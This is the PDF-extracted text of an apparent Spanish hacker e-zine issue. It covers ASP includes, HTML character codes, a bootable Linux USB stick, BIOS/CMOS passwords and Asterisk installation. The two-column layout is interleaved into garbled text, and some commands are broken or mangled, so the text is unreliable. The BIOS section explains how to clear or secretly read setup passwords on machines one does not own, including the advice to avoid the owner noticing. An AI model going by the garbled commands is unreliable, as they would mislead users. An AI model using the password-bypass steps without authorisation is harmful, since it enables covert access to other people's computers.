es necesario especificarle que es un javascript ni un como tal en el momento de la ejecución del
style css respectivamente. programa. El cliente no recibirá nada de esto, ya
que todo ocurre en el servidor. El cliente solamente
ATENCION: Los ficheros de includes tienen un grave
recibe esto:
problema de seguridad si se guardan con la
extensión .inc. Como ya sabemos, el IIS no muestra <HTML>
el código interno de un fichero .asp, sino que lo <HEAD><TITLE>Prueba de ASP</TITLE></HEAD>
ejecuta como un programa, y es el HTML resultante <BODY>
de esa ejecución, realizada dentro del servidor, lo Bienvenidos al ASP. Son las 18:00:00
que se envia al cliente. Esto no ocurre con los </BODY>
ficheros .inc, de forma que si un cliente conoce la </HTML>
ruta donde reside un fichero .inc, y lo solicita, el
Este tutorial ha sido editado únicamente para la
servidor se lo enviará sin ejecutarlo previamente, por
revista CUH-Ezine del foro http://foro.el-hacker.com
lo que se podrá ver el código fuente. Si el fichero de
include contiene claves de acceso a bases de datos,
Créditos:
o alguna otra información confidencial, ésta quedará
ƒ Editado por rOnNyLdInHo
al descubierto. Así pues, los ficheros con extensión
NOTA: Próximas entregas:
.inc solamente deben utilizarse para contenidos
Un modelo de aplicación ASP
"tontos", como cabeceras, gráficos, botonerias,
• Nociones de ASP
logos, etc., y si contienen código sensible, se deben
• Objetos de ASP
guardar con la extensión .asp
1. Application
Otra forma de estructurar las aplicaciones puede ser
2. ASPError
escribir módulos en VBScript o JavaScript de forma
3. Session
independiente, de manera que el control del
4. Request
programa se escribe en HTML y mediante comandos
5. Response
Call() se invocan las distintas rutinas o módulos en el
6. Server
momento oportuno. Por ejemplo:
1.
<SCRIPT LANGUAGE=VBScript RUNAT=Server> CreateObject("ADODB.Connectio
Public Sub Rutina_hora n") -
'------Aqui se obtiene la hora CreateObject("ADODB.Recordset
Response.Write( Time() ) ")
End Sub 2.
</SCRIPT> CreateObject("Scripting.FileSyste
mObject")
<HTML>
3. GetFile() - GetFolder()
<HEAD><TITLE>Prueba de ASP</TITLE></HEAD>
7. ObjectContext
<BODY>
Bienvenidos al ASP. Son las <% Call(Rutina_hora) Esperamos que sea de su agrado este manual para
%> aprender a programar en ASP, las próximas entregas
</BODY> se irá aumentando el nivel de dificultad, por lo tanto
</HTML> le recomendamos que lea muy bien este manual, que
lo repase cuantas veces sea necesario, y que si
En este caso el módulo Rutina_hora es muy sencillo,
tienes algunas dudas por favor escriba a
pero si la aplicación tiene 15 ó 20 módulos de un
ronnyldinho@hotmail.com
montón de líneas cada uno, esta forma de escribir te
Hasta la próxima entrega. Saludos!
permite ver más claramente las cosas. Con este estilo
analizaremos más adelante una aplicación completa.
Programación web
Tabla de códigos de caracteres HTML CUH e-zine 3ª Edicion

Tabla de codigos de caracteres By rOnNyLdInHo

Hola amigos de el-hacker.com este Tabla de códigos de caracteres HTML


manual es una pequeña ayuda no sólo
Actualmente existen muchos más, con códigos de 4
para los que apenas se inician en el
dígitos, como el euro. Estos son algunos de los más
mundo de la programación en páginas
utilizados.
web, sino también para ya los más experimentados.
Es una recolección de los caracteres más utilizados
en HTML, con sus respectivos códigos, así que
espero que les sea de su agrado. Un saludo! Atte:
rOnNyLdInHo

Caracter Código Descripción Alias


! &#33; Cerrar exclamación --
" &#34; Dobles comillas --
# &#35; Signo de número --
$ &#36; Dólar --
% &#37; Tanto por ciento --
‰ &#8240; Tanto por mil --
& &#38; Ampersand amp
' &#39; Apóstrofe --
( &#40; Cerrar paréntesis --
) &#41; Abrir paréntesis --
* &#42; Asterisco --
+ &#43; Signo más --
, &#44; Coma --
- &#45; Guión --
. &#46; Punto --
/ &#47; Barra de división --
0-9 &#48; - &#57; Dígitos del al 0-9 --
: &#58; Dos puntos --
; &#59; Punto y coma --
< &#60; Menor --
< &#60; Menor lt
= &#61; Igual --
> &#62; Mayor --
> &#62; Mayor gt
? &#63; Cerrar interrogación --
@ &#64; Arroba --
A-Z &#65; - &#90; Letras A-Z --
[ &#91; Cerrar corchete (izquierdo) --
\ &#92; Barra inversa --
] &#93; Abrir corchete --
^ &#94; Circunflejo --
_ &#95; Subrayado --
` &#96; Acento agudo --
a-z &#97; - &#122; Letras a-z --
Programación web
Tabla de códigos de caracteres HTML CUH e-zine 3ª Edicion
{ &#123; Abrir llave --
| &#124; Barra vertical --
} &#125; Cerrar llave --
~ &#126; Tilde --
&#160; Espacio sin separación nbsp
¡ &#161; Abrir exclamación iexcl
¢ &#162; Centavo cent
£ &#163; Libra Esterlina pound
¤ &#164; Signo de divisa general curren
¥ &#165; Yen yen
¦ &#166; Barra vertical partida (pipe) brvbar
§ &#167; Sección sect
¨ &#168; Diéresis uml
© &#169; Copyright copy
ª &#170; Doña ordf
« &#171; Abrir comillas francesas laquo
¬ &#172; No (símbolo lógico) not
&#173; Guión débil shy
® &#174; Registrado reg
¯ &#175; Macrón macr
° &#176; Grados deg
± &#177; Más-menos plusmn
² &#178; Dos superíndice sup2
³ &#179; Tres superíndice sup3
´ &#180; Acento agudo acute
µ &#181; Micro micro
¶ &#182; Fin de párrafo para
· &#183; Punto medio middot
¸ &#184; Cedilla cedil
¹ &#185; Uno superíndice sup1
º &#186; Género masculino ordm
» &#187; Cerrar comillas francesas raquo
¼ &#188; Un cuarto frac14
½ &#189; Un medio frac12
¾ &#190; Tres cuartos frac34
⅛ &#8539; Un octavo --
⅜ &#8540; Tres octavos --
⅝ &#8541; Cinco octavos --
⅞ &#8542; Siete octavos --
¿ &#191; Abrir interrogación iquest
À &#192; A mayúscula, acento grave Agrave
Á &#193; A mayúscula, acento agudo Aacute
 &#194; A mayúscula, acento circunflejo Acirc
à &#195; A mayúscula, tilde Atilde
Ä &#196; A mayúscula, diéresis Auml
Å &#197; A mayúscula, anillo Aring
Æ &#198; AE mayúscula AElig
Ç &#199; C cedilla mayúscula Ccedil
È &#200; E mayúscula, acento grave Egrave
É &#201; E mayúscula, acento agudo Eacute
Ê &#202; E mayúscula, acento circunflejo Ecirc
Ë &#203; E mayúscula, diéresis Euml
Ì &#204; I mayúscula, acento grave Igrave
Programación web
Tabla de códigos de caracteres HTML CUH e-zine 3ª Edicion
Í &#205; I mayúscula, acento agudo Iacute
Î &#206; I mayúscula, acento circunflejo Icirc
Ï &#207; I mayúscula, diéresis Iuml
Ð &#208; Eth mayúscula ETH
Ñ &#209; Eñe mayúscula Ntilde
Ò &#210; O mayúscula, acento grave Ograve
Ó &#211; O mayúscula, acento agudo Oacute
Ô &#212; O mayúscula, acento circunflejo Ocirc
Õ &#213; O mayúscula, tilde Otilde
Ö &#214; O mayúscula, diéresis Ouml
× &#215; Signo de multiplicación times
Ø &#216; O barrada mayúscula Oslash
Ù &#217; U mayúscula, acento grave Ugrave
Ú &#218; U mayúscula, acento agudo Uacute
Û &#219; U mayúscula, acento circunflejo Ucirc
Ü &#220; U mayúscula, diéresis Uuml
Ý &#221; Y mayúscula, acento agudo Yacute
Þ &#222; THORN mayúscula THORN
ß &#223; Beta minúscula szlig
à &#224; a minúscula, acento grave agrave
á &#225; a minúscula, acento agudo aacute
â &#226; a minúscula, acento circunflejo acirc
ã &#227; a minúscula, tilde atilde
ä &#228; a minúscula, diéresis auml
å &#229; a minúscula, anillo aring
æ &#230; ae mínuscula aelig
ç &#231; c cedilla minúscula ccedil
è &#232; e minúscula, acento grave egrave
é &#233; e minúscula, acento agudo eacute
ê &#234; e minúscula, acento circunflejo ecirc
ë &#235; e minúscula, diéresis euml
ì &#236; i minúscula, acento grave igrave
í &#237; i minúscula, acento agudo iacute
î &#238; i minúscula, acento circunflejo icirc
ï &#239; i minúscula, diéresis iuml
ð &#240; eth minúscula eth
ñ &#241; eñe minúscula ntilde
ò &#242; o minúscula, acento grave ograve
ó &#243; o minúscula, acento agudo oacute
ô &#244; o minúscula, acento circunflejo ocirc
õ &#245; o minúscula, tilde otilde
ö &#246; o minúscula, diéresis ouml
÷ &#247; Signo de división divide
ø &#248; o barrada minúscula oslash
ù &#249; u minúscula, acento grave ugrave
ú &#250; u minúscula, acento agudo uacute
û &#251; u minúscula, acento circunflejo ucirc
ü &#252; u minúscula, diéresis uuml
ý &#253; y minúscula, acento agudo yacute
þ &#254; thorn minúscula thorn
ÿ &#255; y minúscula, diéresis yuml
€ &#8364 Euro euro
≠ &#8800; Distinto de ne
Programación web
Tabla de códigos de caracteres HTML CUH e-zine 3ª Edicion
≤ &#8804; Menor o igual que le
≥ &#8805; Mayor o igual que ge
√ &#8730; Radical radic
Ω &#8486; Omega --
↑ &#8593; Flecha arriba uarr
↓ &#8595; Flecha abajo darr
← &#8592; Flecha izquierda larr
→ &#8594; Flecha derecha rarr
↔ &#8596; Flecha izq-der harr
№ &#8470; Nº --
▲ &#9650; Flecha ar --
► &#9658; Flecha de --
▼ &#9660; Flecha ab --
◄ &#9668; Flecha iz --
■ &#9632; Cuadrado lleno --
□ &#9633; Cuadrdo vacio --
▪ &#9642; Mini cuadrado lleno --
▫ &#9643; Mini cuadrado vacio --
● &#9679; Punto lleno --
○ &#9675; Punto vacio --
◊ &#9674; Rombo vacio loz

Créditos:
Editado por rOnNyLdInHo
Para cosultas, comentarios o sugerencias, serán respetuosamente bien recibidas a ronnyldinho@hotmail.com
Comunidad Underground Hispana, foro el-hacker.com
Linux
Pendrive Usb De Arranque CUH e-zine 3ª Edicion

Pendrive USB de Arranque en Linux By rOnNyLdInHo

novatos en Linux, nos gustaría tener esa inquietud, de


PENDRIVE USB DE ARRANQUE EN LINUX cómo responderá si lo pongo a trabajar fuerte.
Entonces haremos una unidad de arranque USB.
Hola amigos soy rOnNyLdInHo, y
antes de dar inicio a esta pequeña Crear una unidad de arranque USB es fácil, pero
sección, quería agradecer a todo el antes de empezar a digitar como loco, quiero dar
equipo que hace posible la edición una pequeña introducción al tema.
de esta ya conocida CUH E-ZINE, para
mí es un honor y a la vez una responsabilidad, Primero debes saber que NO todas las placas base
formar parte de este selecto grupo de la tercera son capaces de arrancar desde USB. Es más, muchas
edición de tan esperada revista. Deseando que tanto no arrancan ni con combinaciones de pendrives USB
usted como sus allegados(as), les sirva mucho no y placas base juntas.
sólo este tutorial, sino la revista en sí... que por ese Algo peor? Sí hay algo peor, algunas llaves
motivo fue diseñada. empiezan a cargar el sistema operativo pero quedan
frenadas en los procedimientos del cheksum de la
BIOS interna tras transferir unos pocos Kbs de
información. Hasta se ha visto en algunas ocasiones,
que hasta depende de qué puerto USB se está
usando para ponerla a funcionar.

Pero bueno, no le echemos mas leña al fuego, la


mayoría de las combinaciones de placa(capaz de
arrancar desde USB) y llave, funciona :)

EMPEZEMOS...... Hay que tener en cuenta que hay algunos obstáculos


que debemos superar en el proceso de arranque.
Bueno. lo que veremos en este manual, es algo En el momento en que el bootloader debería leer el
relativamente facil, pero..... Porque relativamente? kernel de Linux y el initrd desde el pendrive, no hay
1- Por su título: Ya que muchos pensarán que es algo SO que se esté ejectuando y la BIOS del ordenador
complicado, y por lo tanto lo ignoro. debe hacer todo el trabajo de detectar las
2- Por el SO a utilizar: Muchos esperaban hacer un particiones y cargar la información de la unidad sin
USB de arranque, en Windows?. ja dejeme reirme tener ningún otro driver disponible más que los del
otra vez, ja. ;) firmware de la BIOS en la placa. Por otro lado, tan
3- Si eres de esos que piensas que con pintar en The pronto se carga el kernel de Linux, la llave USB
Gimp o hacer textos en OpenOffice, ya dominas “desaparece”. O sea, ya no es visible, y tiene que re-
Linux, solo mira esto y comienza a aprender, que detectarse por el kernel usando módulos de disco
para eso estamos todos aquí en esta Tierra RAM inicial que contiene los drivers USB y el sistema
de archivos usado por las particiones que contienen
Ahora que es lo que necesitamos??? la información principal de tu SO.
1- Ganas de aprender.
2- Quitarse esa mentalidad de que Windows lo Existen aún muchas cosas que pueden ir mal en un
puede todo...sólo dale una oportunidad a Linux y arranque desde USB, incluso si seguimos los pasos
verás como responde él de bien. ;> correctamente. Es probable que no sea culpa
3- Utilizar mucho eso que tienes arriba y que muchos nuestra....
lo llaman cerebro, NOTA: Yo hoy me di cuenta que
funciona no sólo para ponerse el sombrero. Para los siguientes ejemplos vamos a usar /dev/sda
4- Fuera de chistes y demás, saber que esto es sólo como nombre del dispositivo del pendrive USB. Esto
un manual, una ayuda, la parte más importante la puede ser incorrecto en muchos casos, especialmente
haces tu, y como lo dije antes, tu cabecita. si nuestro equipo alberga discos SATA. Es
aconsejable volver a verificar el nombre del
dispositivo asignado al disposiivo USB cada vez que
Qué es exactamente lo que vamos a hacer? lo conectemos.
Bueno, ya que muchos hemos pasado por ser Para la mayoría de los comandos no vamos a
Linux
Pendrive Usb De Arranque CUH e-zine 3ª Edicion
necesitar permisos de root si los archivos del seguridad de toda la info que consideres importante.
dispositivo que están en /dev se pueden escribir por
un usuario de cuenta normal y son contables Muchos pendrives USB no muestran la nueva tabla
mediante las correspondientes entradas de de particiones inmediatamente, por lo que es buena
/etc/fstab. En caso contrario, usaremos sudo o un idea sacar y reconectar el pendrive USB o disco
shell de root, con lo que debemos ser especialmente duro cada vez que sigamos los pasos anteriores.
cuidadosos.
Nota: Si no sabes como conseguir permisos de root Ahora volvemos a verificar la nueva partición con:
con un sudo, es recomendable que no realices este cat /proc/partitions
tutorial.

Paso 1: Creamos el sistema de archivos. Tras haberlo conectado de nuevo y después de haber
Algunos pendrives USB sólo arrancan si se esperado muchos segundos (muchos, muchos,
particionan de cierta manera, y algunas BIOS puedes irte a tomar un café :>, je je es porque
aparentemente buscan un cierto tipo de cabecera de algunas unidades son muy lentas en la detección de
partición y sistema de archivos, o renunciarán a la tabla de particiones).
arrancar. He visto casos en los que una placa sólo
quería arrancar desde un pendrive USB sin Si la unidad ya aparece como un nombre de nuevo
particionar, y otros en los que se requerían tanto el dispositivo (es decir, sdb en lugar de sda),
flag de un sector de arranque DOS como el de la probablemente hemos olvidado desmontar el sistema
partición de arranque. de archivos antes de desconectarla. Podemos
En primer lugar podemos probar con una tabla de hacerlo ahora, no obstante, es probable que no
particiones por defecto y un sistemas de archivos exista ya, tras la repartición de la unidad.
más o menos sin modificar.
La mayoría de los pendrives USB recientes tienen Para los pendrives USB sin partición (si el método de
una especie de tabla de particiones válida en la que arranque particionado falla), nos saltamos el paso
la primaera partición primaria está formateada en de particionado y tecleamos el comando mkdosfs
FAT16 o FAT32. En este caso debemos asegurarnos de sobre el pendrive USB entero.
que la particón es arrancable.
Para una partición de un pendrive USB que aparezca Esa, amigos míos, fue la parte más difícil, ahora lo
como /dev/sda1, el comando para configurar el flag que viene es sumamente sencillo, similar a cambiar
como “arrancable” sería: de Windows XP a Ubuntu Feisty :)
sfdisk -A1 /dev/ sda
Paso2: Instalar el syslinux como cargador del kernel

Para reparticionar la unidad USB podemos usar las Lo que isolinux hace para un CD/DVD, syslinux lo
mismas herramientas que usamos para un disco duro hace para las particiones o discos formateados en
normal (es decir: qtparted o, mi favorito y el favorito DOS.
de muchos: fdisk o sfdisk). Para unidades particionadas:
El tipo de partición para un sistema de archivo syslinux /dev/sda1
DOS/FAT (el menos problemático para el arranque
desde una unidad USB) sería “6” para FAT16 y “b”
para FAT32. Para unidades no particionadas:
Usamos FAT16 para particiones menores de 2GB y syslinux /dev/sda
FAT32 si son mayores. Véase arriba el comando de
sfdisk para fijar el flag de la partición como
arrancable (o 'activo'), lo cual es independiente del aquí debemos de asegurarnos que estamos
sistema de archivo de las particiones o del utilizando el nombre correcto de dispositivo para
contenido. nuestro sistema.
El comando de mkdosfs para dar formato a una
partición FAT16 como /dev/sda1 es: Si usamos un pendrive USB particionado, podemos
configurar (o si prefieres resetear) el sector de
mkdosfs -F16 /dev/sda1
arranque adecuadamente. Aunque, no es necesario
hacer esto. Puede que primero queramos ver si el
Mientras que para FAT32, sería: arranque funciona sin cambiar el MBR.
mkdosfs -F32 /dev/sda1
Instalamos un sector de arranque syslinux para
unidades particionadas:
Aunque yo creo que no, pero aún así lo voy a
decir(escribir en este caso), es obvio que a este ms-sys -s devicename
punto perderemos toda la información que esté en la
partición, por lo tanto debemos hacer una copia de Usamos /dev/sda si /dev/sda1 es la partición
Linux
Pendrive Usb De Arranque CUH e-zine 3ª Edicion
FAT16/FAT32 del pendrive USB. Debemos vigilar que rsync -Hav –progress
el nombre del dispositivo sea correcto. /cdrom/KNOPPIX U
/media/usbkey/KNOPPIX
Paso3: Copiamos los archivos de arranque y la
información Una vez hecho esto, tenemos que desmontar el
En este paso, tenemos que montar el pendrive USB dispositivo para poder sincronizar el búfer, de datos
(o partición, si usamos el modo particionado) en pendientes a disco y cerrar la sesión. No se
modo sensible a mayúsculas: sorprenda si este comando tarda bastante tiempo en
ejecutarse. Puede haber muchos datos sin escribir en
memoria debido a la fabulosa caché del búfer
mkdir -p /media/usbkey
dinámico de bloques de Linux, que hace parecer que
mount -t vfat -o rw.umask=
las escrituras en disco son más rápidas de lo que
000.shortname=winnt
realmente son.
/dev/sda1 /media/usbkey
umount /media/usbkey
A continuación deberíamos cambiar /dev/sda1 a la
partición en cuestión, y entonces saltarnos el número Paso4: Configurar la BIOS de la PC
de la partición en caso de usar todo el pendrive. Una placa capaz de arrancar desde USB tiene al
menos dos modos de arranque por USB:
Copiamos ahora los archivos de arranque desde el 1- Arranque desde Disco Duro USB. (Unidad USB
CD o DVD de tu Distro* particionada)
2- Arranque desde unidad ZIP USB. (Unidad USB sin
*Como lo dijo mi amigo LTSmash en la edición particionar)
pasada, una distro es una distribución de cualquier Para nuestro disco duro la opción DISCO DURO
SO basado en GNU/Linux. En mi caso, para hacer sería la correcta pero todo depende de lo que
este manual yo instalé Knoppix, pero se puede hagamos en el paso 1.
realizar en cualquier distribución de Linux sin ningún Créditos.
problema. Nada más en los códigos que presentaré Manual editado por rOnNyLdInHo.
a partir de aquí, cambian el nombre KNOPPIX por Revista Linux Magazine por la oportunidad de
sus distro, por ejemplo: Ubuntu, SuSe, Lindows, etc. editarlo.
Klaus Knopper fundador de Knoppix por la ayuda.
Vamos a suponer que el CD se monta en /cdrom en Este manual ha sido editado únicamente para la
una sesión Live de Knoppix, aunque en realidad este revsta CUH e-zine del foro: http://foro.el-
paso se puede realizar en cualquier distro de Linux. hacker.com

cp /cdrom/boot/isolinux/*
/media/usbkey

Mientras isolinux busca los archivos de arranque en


/boot/isolinux, syslinux los busca en el directorio /
del sistema de archivos FAT.
Pero... ¡syslinux da un nombre diferente a su archivo
de configuración!

mv /media/usbkey/isolinux.cfg
/media/usbkey/syslinux.cfg

Podemos borrar con seguridad los archivos


específicos de /iso/eltorito, ya que no los vamos a
necesitar.
rm -f U
/media/usbkey/isolinux.bin
/media/usbkey/boot.cat Dudas, Comentarios, Sugerencias y Quejas:
ronnyldinho@hotmail.com
En este punto el pendrive es arrancable y contiene klaus@linux-magazine.com
tanto el kernel como el initrd, y podemos empezar a http://foro.el-hacker.com
copiar los archivos de cloop, que residen en el
directorio de tu distro , en mi caso, Knoppix.
Diseño Grafico
TUTORIAL BOTONES CUH e-zine 3ª Edicion

Tutorial botones By Aleksteir


Diseño Grafico
TUTORIAL BOTONES CUH e-zine 3ª Edicion
Diseño Grafico
TUTORIAL BOTONES CUH e-zine 3ª Edicion
Diseño Grafico
TUTORIAL BOTONES CUH e-zine 3ª Edicion
Diseño Grafico
TUTORIAL BOTONES CUH e-zine 3ª Edicion
Diseño Grafico
TUTORIAL BOTONES CUH e-zine 3ª Edicion
Diseño Grafico
TUTO FIRMA CUH e-zine 3ª Edicion

Tuto firma By Orlando_rock


Hardware
Setup BIOS - CMOS CUH e-zine 3ª Edicion

Setup BIOS – CMOS By Locutus

constantemente energía eléctrica. para q no c corte


BIOS, CMOS, Setup y como entrar... el suministro si c desconecta la pc d la red eléctrica c
usa 1 pila d 3v:
Antes q nada vamos a ver la
diferencia entre c/u d estas cosas xq
no son lo mismo aunq la gente x lo
gral lo suele confundir.

La BIOS (Basic Input Output System) es 1 conjunto d


rutinas elementales q manejan el hardware básico d
la pc. d lo primero q c encarga la BIOS cuando c
enciende 1 pc es lanzar 1 programa llamado POST Y finalmente el Setup es 1 programa q esta
(PowerOn Self Test) q checkea el estado del hard, q guardado dentro mismo del bios q sirve para ver o
todo este presente, lo inicializa y después muestra modificar el contenido del CMOS.
los datos básicos como mem, hds y alguna otra cosa
según el modelo. todo esto ocurre en unos pocos
segundos y ni nos damos cuenta a - q haya algún
error... en s caso c escuchan los clásicos beeps según
el problema, pero eso ya es otro tema...

O sea q cuando vamos a cambiar alguna conf d


hard c podría decir q entramos al Setup para
modificar el contenido del CMOS d manera q el
BIOS pueda detectar correctamente el hard.
Muchos armadores d pcs ponen passes en sus
maquinas para q el user c vea obligado a ir a ellos
para hacer cualquier cambio importante en la conf o
hasta para bootear desde 1 cd d manera q no
podríamos ni siquiera reinstalar nuestro SO...
físicamente la BIOS es 1 chip ROM (read only
O también puede darse el caso q queremos tener
memory) del tipo EEPROM (Electrically Erasable and
acceso al setup d alguna pc x razones no tan
Programmable Read-Only Memory). la ROM común
nobles... la mayoría d las veces para cambiar la
c caracteriza x tener los datos ya grabados e
secuencia d booteo y poder iniciar desde algún cd
inalterables aunq ocurra 1 corte d corriente. la
crackeador d passes o algo parecido.
EEPROM puede ser borrada x medio d soft q es lo q
hacemos cuando corremos 1 actualización d
Vamos entonces a ver como hacemos para eliminar
firmware d la BIOS.
la password del CMOS. tenemos varias formas...
como dijimos antes el CMOS debe recibir energía
El CMOS (Complementary Metal Oxide
constantemente para mantener los datos d manera q
Semiconductor) es donde c guardan los datos d conf
es muy fácil... le cortamos la energía, c borran los
del hardware de la pc, discos, fecha y hora, orden d
datos y con el la pass.
booteo y todas las configuraciones incluido
justamente el famoso password q puede ser d setup
Tenemos varias maneras d hacer esto... la "correcta"
o d sistema.
seria localizar el jumper q tienen los mothers para
este propósito. c encuentra siempre ubicado cerca d
Para q esta info no c pierda el CMOS debe recibir
Hardware
Setup BIOS - CMOS CUH e-zine 3ª Edicion
la pila x lo q es fácil d encontrar, son 3 pines, la
posición normal x lo gral es entre 1 y 2... así debería
estar colocado.

finalmente tenemos utilidades para ver la pass sin


tener q borrarla, lo cual es muy útil si queremos q no
c den cuenta d q estuvimos metiendo mano... el
mejor d los q conozco d este tipo es el cmospwd:

http://www.cgsecurity.org/wiki/CmosPwd
Para limpiar el contenido habría 1ero q apagar la
pc, desconectarla d la corriente, cambiar el jumper a
trabaja con estos tipos d chips d bios:
la posición 2/3 y esperar 30 segs... x las dudas y
para acelerar el proceso es bueno presionar el
* ACER/IBM BIOS
botón d encendido con la pc desconectada para q
* AMI BIOS
descargue la corriente q queda almacenada en los
* AMI WinBIOS 2.5
capacitores.
* Award 4.5x/4.6x/6.0
* Compaq (1992)
Esta corriente es la responsable d q cuando sacamos
* Compaq (New version)
la pila no c pierda la configuración hasta después d
* IBM (PS/2, Activa, Thinkpad)
1 buen rato. también c puede utilizar este método si
* Packard Bell
no c encuentra el jumper (algunos mothers no lo
* Phoenix 1.00.09.AC0 (1994), a486 1.03, 1.04,
traían a unq ahora creo q ya viene en todos)... sacar
1.10 A03, 4.05 rev 1.02.943, 4.06 rev 1.13.1107
la pila y esperar 1 buen rato (hasta 20/30 mins)... o
* Phoenix 4 release 6 (User)
presionar el encendido como decíamos antes o
* Gateway Solo - Phoenix 4.0 release 6
mejor aun hacer 1 pequeño corto entre los contactos
* Toshiba
del porta-batería, esto descarga instantáneamente
* Zenith AMI
los capacitores y borra todo.
D cualquiera d estos nos da en texto limpio la pass
Estos métodos sirven siempre y cuando c tenga
sin + q correrlo. en equipos muy nuevos es posible q
acceso a abrir la pc y meter mano adentro pero hay
no funcione pero x lo gral da buenos resultados...
casos en los q x 1 razón u otra esto no es posible,
otra opción q tiene para los + experimentados es
para esos casos tenemos herramientas d soft q
hacer 1 dump del contenido del cmos para después
pueden tanto borrar la pass como también algo
dejarlo como estaba. o sea q podemos copiar el
muchísimo mejor... decirnos cual es... je... aunq no c
contenido, después borrar el CMOS para poder
entusiasmen... esto ultimo no funciona con todos los
acceder y 1 vez q tenemos acceso volver a grabarlo
mothers pero algo es algo...
como estaba antes... esto c hace con el modificador
"/d".
vamos a empezar x lo mismo q antes... borrarla.
By |_ocutus

tenemos varias utilidades, en el hiren´s boot cd q


podemos bajar d esta misma sección hay unas
cuantas. el + conocido es el killcmos q lo q hace es
agregar 1 bit "extra" en el CMOS, lo q hace q c
corrompa... al corromperse vuelve a la conf d
fabrica (c borra) y al iniciar muestra el clásico
mensaje d CMOS cheksum bad y pide entrar al
setup o cargar valores predeterminados y continuar.
Networking & wireless
Instalacion de Asterisk II CUH e-zine 3ª Edicion

Instalacion de Asterisk II By JUCA

utilizando para esto podemos utilizar cualquiera de


INSTALACIÓN DE ASTERISK estos 2 comandos:

Existen 2 versiones estables #uname –a


disponibles para la descarga
Asterisk 1.1.18 y Asterisk 1.4.4 #rpm –q kernel-devel
Para instalar correctamente asterisk
se necesita descargar de paquetes Lo podemos ver en esta imagen:
adicionales.

Para la versión 1.2.18 se necesitan estos paquetes:


‐ asterisk-1.2.18.tar.gz (obligatorio instalar)

‐ asterisk-addons-1.2.6.tar.gz (adicional)

‐ asterisk-sounds-1.2.1.tar.gz (adicional) Para una correcta instalación deben estar instalados


algunos paquetes para ver si estos se encuentran
‐ libpri-1.2.4.tar.gz (obligatorio instalar) instalados correctamente se tiene que poner lo
siguiente:
‐ zaptel-1.2.18.tar.gz (obligatorio instalar)
rpm -q bison
rpm -q bison-devel
Para la versión 1.4.4 se necesitan estos paquetes: rpm -q ncurses
‐ asterisk-1.4.4.tar.gz (obligatorio instalar) rpm -q ncurses-devel
rpm -q zlib
‐ asterisk-addons-1.4.1.tar.gz (adicional)op rpm -q zlib-devel
rpm -q openssl
‐ libpri-1.4.0.tar.gz (obligatorio instalar) rpm -q openssl-devel
rpm -q gnutls-devel
‐ zaptel-1.4.3.tar.gz (obligatorio instalar) rpm -q gcc
rpm -q gcc-c++

Para conseguir este software se debe ingresar a:


http://www.asterisk.org/downloads
Este es el sitio oficial de descarga.
Empresa responsable del desarrollo de Asterisk es
Digium
http://www.digium.com/en/index.php Si es que alguno de estos paquetes no hubiera seria
La siguiente instalación se la realizara en la necesario descargárselos desde internet para esto
distribución Centos 4.3 con asterisk 1.4.4 podemos utilizar la instrucción “yum” que nos sirve
para hacer una actualización automática de los
Requisitos paquetes.

Para configurar un sistema Asterisk se requiere de un yum install bison


PC con GNU/Linux donde se instalará el software yum install bison-devel
(Ahora existen versiones de asterisk que se pueden yum install ncurses
instalar incluso en Windows). Para esto se puede yum install ncurses-devel
utilizar cualquier PC tipo Pentium (PII, PIII, Athlon, yum install zlib
Xeon, etc.), y cualquier tarjeta de interfaz telefónica yum install zlib-devel
de Digium, estos determinarán la capacidad final de yum install openssl
la máquina. yum install openssl-devel
yum install gnutls-devel
Es necesario revisar que versión de kernel estamos yum install gcc
Networking & wireless
Instalacion de Asterisk II CUH e-zine 3ª Edicion
yum install gcc-c++ los archivos y luego ejecutamos lo siguiente:

Si esta deshabilitada el comando “yum” se debe # for i in * ; do tar –zxvf $i; done;
buscar uno a uno cada paquete que falta instalar se
lo puede hacer en esta web:

http://rpm.pbone.net/
Luego de esto se aplasta enter y todos los archives
Luego de descargar el paquete existen 2 formas de comienzan a descomprimirse:
instalarlo.

Si se esta en la parte grafica se hace doble click


sobre el archivo he inmediatamente se instala.

Si se lo desea hacer desde la línea de comando se


debe utilizar las siguientes instrucciones.

rpm -i paquete.rpm
rpm -Uvh paquete.rpm

Centos no instala el código del kernel dentro del


/usr/src/linux directorio esta escrito en Zaptel y
Asterisks Makefile.

Envía a /usr/src y crea un link llamado Linux al


directorio de nuestro kernel por defecto están Si no se desea el hacerlo de esta forma ya que se
ubicados en /usr/src/kernels/… prefiere hacer paso a paso el resultado es el mismo
pero en cada explicación diremos como se debe
El resultado es el siguiente: descomprimir

Instalando Libpri

cd /ruta/de/codigo/libpri
make
make install

Luego creamos una carpeta donde copiaremos todos


los archivos necesarios para esto ponemos:

#mkdir asterisk

En esta carpeta tendremos nuestros archivos:

Luego de esto procedemos a descomprimir e instalar Luego de que se acabe esta primera parte
escribimos make install como se indico en las
Si se desea optimizar el descomprimir los archivos indicaciones anteriores
rápidamente se lo puede hacer en una sola línea

Primero ingresamos en la carpeta donde están todos


Networking & wireless
Instalacion de Asterisk II CUH e-zine 3ª Edicion
música de espera).
make mpg123
# Para Asterisk v1.4 se de configurar el archivo

./configure
make
make install
make samples

Primero se escribe ./configure al final de esta parte


de la instalación sale el siguiente mensaje:
Instalando Zaptel:

cd /usr/src/asterisk/zaptel
# Si tienes kernel a 2.4 solo se debe escribir make
make
# Si tienes kernel a 2.6 solo se debe escribir make
linux26
make linux26 - Si tienes kernel a 2.6

En este caso a pesar de tener kernel2.6 tan solo fue


necesario escribir make

Luego va la segunda parte de la instalación


Luego se digita make install escribiendo el comando make

Instalando Asterisk:

cd /usr/src/asterisk/asterisk
# Antes se debe tener instalado el paquete de
Asterisk mpg123 package (para archives mp3 en
Networking & wireless
Instalacion de Asterisk II CUH e-zine 3ª Edicion
Luego debemos digitar make install como nos indica
la propia instalación de asterisk

Y de la misma forma finalmente digitamos make


samples
Aquí es donde configuraremos todo el asterisk vía
comando.

Instalación Asterisk Gui

Para la interfaz grafica de asterisk se tiene que hace


algunas cosas adicionales en la instalación.

Se debe digitar esto en el prompt:

svn checkout http://svn.digium.com/svn/asterisk-


Luego de todos estos pasos solo resta verificar la gui/trunk asterisk-gui
instalación de asterisk .
Con esto se descarga los paquetes necesarios para
Encendiendo el demonio de asterisk digitando instalar la parte grafica.
`safe_asterisk`y conectarse en modo consola
digitando Luego :

`asterisk -vvvvvr`. Make

Makeinstall

El resultado es una pantalla similar a esta:

Finalmente reiniciamos la configuración con el


comando `reload` y se cambia a otro color el Shell
de GNU/Linux

En nuevas entregas seguiremos hablando sobre una


nueva forma de instalar asterisk con una distribución
dedicada exclusivamente a esto.

